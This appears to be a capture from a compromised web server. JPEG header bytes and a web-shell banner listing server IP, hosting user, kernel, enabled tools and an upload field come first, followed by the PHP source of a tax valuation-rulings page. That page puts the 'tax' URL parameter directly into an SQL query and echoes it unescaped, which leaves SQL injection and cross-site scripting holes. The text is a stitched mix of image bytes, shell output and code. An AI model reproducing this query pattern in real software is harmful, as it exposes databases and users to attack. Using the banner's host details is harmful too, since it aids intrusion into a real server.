ÿØÿà JPEG ÿþ;
| Server IP : 68.65.120.201 / Your IP : 216.73.216.221 Web Server : LiteSpeed System : Linux server179.web-hosting.com 4.18.0-513.18.1.lve.el8.x86_64 #1 SMP Thu Feb 22 12:55:50 UTC 2024 x86_64 User : taxhyuvu ( 2294) PHP Version : 8.1.33 Disable Function : NONE MySQL : OFF | cURL : ON | WGET : ON | Perl : ON | Python : ON | Sudo : OFF | Pkexec : OFF Directory : /home/././././taxhyuvu/public_html/ |
Upload File : |
<?php $id=$_GET['tax'];
?>
<?php include "head.php";
include "admin/db.php";
$p2="SELECT * FROM `valuruling` WHERE `Catag` = '$id' ORDER BY `date` DESC";
$powerw = mysqli_query($con,$p2);
?>
<Style>
.form-control:focus {
color: #212529;
background-color: #fff;
border-color: #b7d0f5;
outline: 0;
box-shadow: 0 0 0 0.25rem rgba(79, 80, 80, 0.247);
}
.btn-primary{ background: #009bad;
border: #0a9eb0;}
.btn:hover {
color: var(--bs-btn-hover-color);
background-color: #98a0a4;
border-color: #98a0a4;
}
.head{width: 100%;height: 200px;
background-color: #ebebebf7;}
.head img{width: 300px;}
.img1st{margin: 0% 37%;
padding-top: 62px;}
td{text-align: justify;
}
th{text-align: center; color: #666666;
}
#viewpower input{ display: none;}
.dropdown-item:hover {
display: block;
width: 100%;
padding: var(--bs-dropdown-item-padding-y) var(--bs-dropdown-item-padding-x);
clear: both;
font-weight: 400;
color: var(--bs-dropdown-link-color);
/* text-align: inherit; */
text-decoration: none;
white-space: nowrap;
background-color: transparent;
border: 0;
}
</Style>
<meta charset="UTF-8">
<meta http-equiv="X-UA-Compatible" content="IE=edge">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<meta name="description" content="Judgment Here, you (users) may search Judgments of the honourable Superior Court, year-wise, court-wise, as shown in the table">
<meta name="keywords" content="PTD , Judgment, PTCL, SLD, Taxhelpline, Income Tax , Case Law, Customs, Federal Excise, Petitioner , Court ,Law,Section,Citation">
<link rel="preconnect" href="https://fonts.googleapis.com">
<link rel="preconnect" href="https://fonts.gstatic.com" crossorigin>
<link href="https://fonts.googleapis.com/css2?family=Lora&display=swap" rel="stylesheet">
<title><?php echo $id?> (Valuation Rullings)</title>
<style>#example_filter{display: none;}</style>
</head>
<style>#yearpower, #yearpower input{width:100%;}
.powerpeti input{width: 100%;}
.table{overflow-y: hidden,}
body{overflow-y: hidden,}
th,td{width:auto !important; text-align: center;
border: 1px solid #d9d9d9;}
th{ text-align: center !important;}
table.dataTable {
width: 100% !important;}
{font-family:none;}
h1{ padding-bottom: 1%; color: #04a3b4; padding-top: 3%; text-transform: capitalize; text-align:center; font-family: 'Roboto Slab', serif;}
table{font-family: 'Lora', serif;}
th input{outline: blue;
border-radius: 3px !important;
border: gray 0.5px solid!important;}
</style>
<body>
<div class="container-fluid">
<h1><?php echo$id;?> (<span style="color: #777777;">Valuation Rullings</span>) </h1>
<table id="example" class="display" >
<thead>
<tr>
<th class="powerpeti">Valuation Rulling # </th>
<th id="yearpower">Date</th>
<th class="powerpeti">Subject</th>
<th class="powerpeti">Items</th>
<th class="powerpeti">HS Code (PCT)</th>
<th id="viewpower">View</th>
</tr>
</thead>
<tbody>
<?php foreach ($powerw as $k ) {
?> <tr>
<td ><?php echo $k['vrullno'];?></td>
<?php $olddate= $k['date']; ?>
<td Style="text-align: center; width:10%!important;"><?php echo $newdate= date('d-M-Y', strtotime($olddate))?></td>
<td style="text-align:justify;"> <?php echo $k['sub'];?></td>
<td style="text-align:justify;"> <?php echo $k['des'];?></td>
<td style="text-align:justify;"><?php echo $k['hscode'];?></td>
<?php if(isset($_SESSION['logedin']) && $_SESSION['logedin']==true) { ?>
<td ><a target="_blank" href="admin/valuationrulling/<?php echo $k['pdf']?>"><button class="btn btn-primary" style="width: 100%; height: 100%;">View</button></a></td>
<?php } else{ ?>
<td ><a href="login"><button class="btn btn-primary" style="width: 100%; height: 100%;">View</button></a></td>
<?php }?>
</tr>
<?php } ?>
</tbody>
<!-- <tfoot>
<tr>
<th>Court </th>
<th>Year</th>
<th>Petitioner</th>
<th>Section</th>
<th>Citation/Ref.</th>
<th>View</th>
</tr>
</tfoot> -->
</table>
</div>
<link rel="stylesheet" type="text/css" href="https://cdn.datatables.net/1.13.4/css/jquery.dataTables.min.css">
<script type="text/javascript" src="https://code.jquery.com/jquery-3.5.1.js"></script>
<script type="text/javascript" src="https://cdn.datatables.net/1.13.4/js/jquery.dataTables.min.js"></script>
<script type="text/javascript">
$(document).ready(function () {
// Setup - add a text input to each footer cell
$('#example thead tr')
.clone(true)
.addClass('filters')
.appendTo('#example thead');
var table = $('#example').DataTable({
orderCellsTop: true,
// fixedHeader: true,
"ordering": false,
// order: [[1, 'asc']],
initComplete: function () {
var api = this.api();
// For each column
api
.columns()
.eq(0)
.each(function (colIdx) {
// Set the header cell to contain the input element
var cell = $('.filters th').eq(
$(api.column(colIdx).header()).index()
);
var title = $(cell).text();
$(cell).html('<input type="text" placeholder="' + title + '" />');
// On every keypress in this input
$(
'input',
$('.filters th').eq($(api.column(colIdx).header()).index())
)
.off('keyup change')
.on('change', function (e) {
// Get the search value
$(this).attr('title', $(this).val());
var regexr = '({search})'; //$(this).parents('th').find('select').val();
var cursorPosition = this.selectionStart;
// Search the column for that value
api
.column(colIdx)
.search(
this.value != ''
? regexr.replace('{search}', '(((' + this.value + ')))')
: '',
this.value != '',
this.value == ''
)
.draw();
})
.on('keyup', function (e) {
e.stopPropagation();
$(this).trigger('change');
$(this)
.focus()[0]
.setSelectionRange(cursorPosition, cursorPosition);
});
});
},
});
});
</script>
</body>
</html>